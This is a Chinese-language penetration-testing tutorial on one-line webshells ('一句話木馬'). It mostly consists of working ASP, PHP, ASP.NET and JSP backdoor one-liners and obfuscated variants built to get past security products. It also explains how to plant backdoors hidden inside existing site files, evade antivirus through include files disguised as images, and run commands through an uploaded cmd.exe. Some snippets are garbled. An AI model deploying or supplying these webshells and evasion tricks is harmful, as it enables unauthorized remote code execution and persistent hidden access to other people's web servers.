滲透測試 - 一句話木馬_cracer嗶哩嗶哩
主題:一句話木馬簡單講解
內(nèi)容:
1.一句話說明
常用的一句話有冰狐浪子的一句話,藍屏的,lack2的,當(dāng)然還有海洋的。我們?nèi)绻懒艘痪湓挼脑?。自己也可以很輕松的寫一個。
<%execute(request("cmd"))%>
<%execute request("1")%>
ASP一句話16進制:┼攠數(shù)畣整爠煥敵瑳∨≡┩愾? 密碼a
2.簡單演示
1>.一句話你要寫入數(shù)據(jù)庫,數(shù)據(jù)庫必須是asp格式或者我們能夠通過備份備份為asp格式。用客戶端連接這個asp的數(shù)據(jù)庫。
2>.一句話寫入文件。我們連接這個文件。這種情況利用起來很難。一般是我們知道對方的源代碼。通過分析得知某個功能寫入某個文件。
3.一句話圖片木馬
4.其他過濾
這個不再講,很多種情況,大家可以自主去學(xué)習(xí)。
5.其他常用的一句話
php下的一句話
<?php eval($_POST[cmd];?>
asp.net下的
<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["w"],"unsafe"));%>
jsp下的
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("("f"))).write(request.getParameter("t").getBytes());
%>
fuck<?php?
eval
($_POST
[a])
?>
<%a=request("gold")%><%eval a%>
一句話
就有
過安全狗? 和護衛(wèi)神的
PHP過安全狗一句話:
fuck<?php?
eval
($_POST
[a])
?>
該日志目錄不存在或權(quán)限不足,請檢查設(shè)置!<?php?
eval
($_POST
[a])
?>
?
ASP過安全狗一句話密碼(pass)
?
<%ShiSan=")╁ssap╁(TSeUQeR LavE"
ExeCuTe(ShiSanFun(ShiSan))
dim ShiSan,ShiSanNewstr,ShiSanI
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
?If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then
? ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
?Else
? ShiSanNewStr = vbCrLf & ShiSanNewStr
?End If
Next
ShiSanFun = ShiSanNewStr
End Function%>
?
?
?
?
?
?
原來代碼是<%execute request("cmd")%>? ?把標(biāo)簽修改替換下來 為
<scriptlanguage=VBScript runat=server>execute request("cmd")</Script> 這樣就避開了<%,%>符號!
表中數(shù)據(jù)段限制,一句話木馬也寫不下的情況
網(wǎng)絡(luò)中流傳的最小的木馬代碼是<%eval request("#")%> 如過連這也寫不下怎么辦?
將木馬分開寫就好了!? ?<%Y=request("x")%> <%execute(Y)%>? ?這樣分開寫提交到數(shù)據(jù)庫就沒問題了!
不過,在ACCESS數(shù)據(jù)庫中新增加的數(shù)據(jù)物理位置是在舊數(shù)據(jù)之前的,所以要先寫<%execute(Y)%>部分。寫好后在客戶端寫密碼時除了填寫"x"以外的任何字符都可以,如果填了"x"就會出錯!
插入一句話容易爆錯
例如
Sub unlockPost()
Dim id,replyid,rs,posttable
id=Request("id")
replyid=Request("replyid")
If Not IsNumeric(id) or id="" Then
寫成
Sub unlockPost(<%eval request("#")%>)
Dim id,replyid,rs,posttable
id=Request("id")
replyid=Request("replyid")
If Not IsNumeric(id) or id="" Then
就可以了,也可以寫成帶容錯語句的格式??!
<%if request("cmd")<>""then execute request("cmd")%>
一句話木馬到兩句話木馬的轉(zhuǎn)型!
一句話木馬服務(wù)端原型:<%execute request("value")%> ,
變形后:<%On Error Resume Next execute request("value")%> ,
至于為什么要用兩句話木馬呢,是由于使我們的后門更加隱蔽.
我也試過用一句話插入WellShell的某個ASP文件里面,可是訪問時經(jīng)常出錯,而插入兩句話木馬服務(wù)端卻可以正常訪問了,對站點的頁面無任何影響.
這樣就達到了隱蔽性更強的目的了,他管理員總不會連自己的網(wǎng)頁文件都刪了吧.
現(xiàn)在我的WellShell都有這樣的后門.選擇要插入兩句話木馬的ASP文件要注意,選一些可以用IE訪問的ASP文件,不要選conn.asp這樣的文件來插入.
當(dāng)然,連接兩句話木馬的客戶端仍然是用一句木馬的客戶端,不用修改.
一句話免殺:
一:變形法
比如:eval(request("#"))這樣的馬兒呢,一般情況下是不被殺的。但實際上,經(jīng)常殺毒軟件會把eval(request列為特征碼。所以我們變形一下
E=request("id")
eval(E)
這樣可達到免殺的目的。
例如:<%execute request("1")%>? ? ? ?變形后:
<%E=request("1")
execute E%>
當(dāng)然,這種變形是最好做的。
介紹第二種方法:因為很多管理員很聰明,它會檢查ASP文件中的execute和eval函數(shù)。所以呢,不管你怎么反編譯,它最終總是要用其中的一個函數(shù)來解釋運行,所以還是被發(fā)現(xiàn)了。好么,我們用外部文件來調(diào)用。建一個a.jpg或者任何不被發(fā)現(xiàn)的文件后綴或文件名。寫入 execute(request("#"))當(dāng)然,你可以先變形后現(xiàn)放上去。然后在ASP文件中插入
<!--#include file="a.jpg" -->
來引用它,即可。
不過,管理員可以通過對比文件的方式找到修改過的文件,不過這種情況不多。
在WEBSHeLL中使用命令提示
在使用ASP站長助手6.0時點擊命令提示符顯示“沒有權(quán)限”的時候,可以使用ASP站長助手上傳CMD.exe到你的WEBSHELL目錄(其它目錄也行,把上傳以后的CMD.exe絕對路徑COPY出來),再修改你的WEBSHELL找到調(diào)用CMD.EXE的代碼。原來的代碼如下
.exec("cmd.exe /c "&DefCmd).stdout.readall
修改為
.exec("你想上傳的cmd.exe絕對路徑" /c"&DefCmd).stdout.readall
比如你上傳到的目錄是D:\web\www\cmd.exe,那么就修改成
.exec("D:\web\www\cmd.exe /c"&DefCmd).stdout.readall